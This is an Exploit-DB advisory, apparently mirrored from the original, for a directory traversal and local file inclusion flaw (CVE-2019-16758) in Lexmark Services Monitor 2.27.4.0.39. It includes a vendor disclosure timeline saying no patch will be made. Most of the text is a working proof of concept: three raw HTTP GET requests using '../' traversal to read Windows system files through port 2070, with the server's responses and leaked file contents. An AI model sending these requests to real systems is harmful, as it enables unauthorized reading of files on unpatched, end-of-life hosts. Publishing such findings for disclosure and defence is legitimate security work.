Lexmark Services Monitor 2.27.4.0.39 – Directory Traversal - 体验盒子

作者： Kevin Randall
日期： 2019-11-18
类别：
webapps
平台：
hardware
来源：https://www.exploit-db.com/exploits/47663/
# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal
# Google Dork: N/A
# Date: 2019-11-15
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.lexmark.com/en_us.html
# Software Link: https://www.lexmark.com/en_us.html
# Version: 2.27.4.0.39 (Latest Version)
# Tested on: Windows Server 2012
# CVE : CVE-2019-16758


Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.

Timeline:
Discovered on: 9/24/2019
Vendor Notified: 9/24/2019
Vendor Confirmed Receipt of Vulnerability: 9/24/2019
Follow up with Vendor: 9/25/2019
Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019
Vendor Confirmed Vulnerability is Valid: 9/26/2019
Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019
Vendor Confirmed Signoff to Disclose: 9/27/2019
Final Email Sent: 9/27/2019
Public Disclosure: 11/15/2019

PoC:

GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 848536


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.
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GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 38710

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.
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GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: 10.200.15.70:2070
User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)

HTTP/1.0 200 OK
Server: rXpress
Content-Length: 17463

# Copyright (c) 1993-2004 Microsoft Corp.
#
# This file contains port numbers for well-known services defined by IANA
#
# Format:
#
# <service name><port number>/<protocol>[aliases...] [#<comment>]
#

echo7/tcp
echo7/udp
discard 9/tcpsink null
discard 9/udpsink null
systat 11/tcpusers#Active users
systat 11/udpusers#Active users
daytime13/tcp
daytime13/udp
qotd 17/tcpquote#Quote of the day
qotd 17/udpquote#Quote of the day
chargen19/tcpttytst source#Character generator
chargen19/udpttytst source#Character generator
ftp-data 20/tcp #FTP, data
ftp21/tcp #FTP. control
ssh22/tcp #SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcpmail #Simple Mail Transfer Protocol
time 37/tcptimserver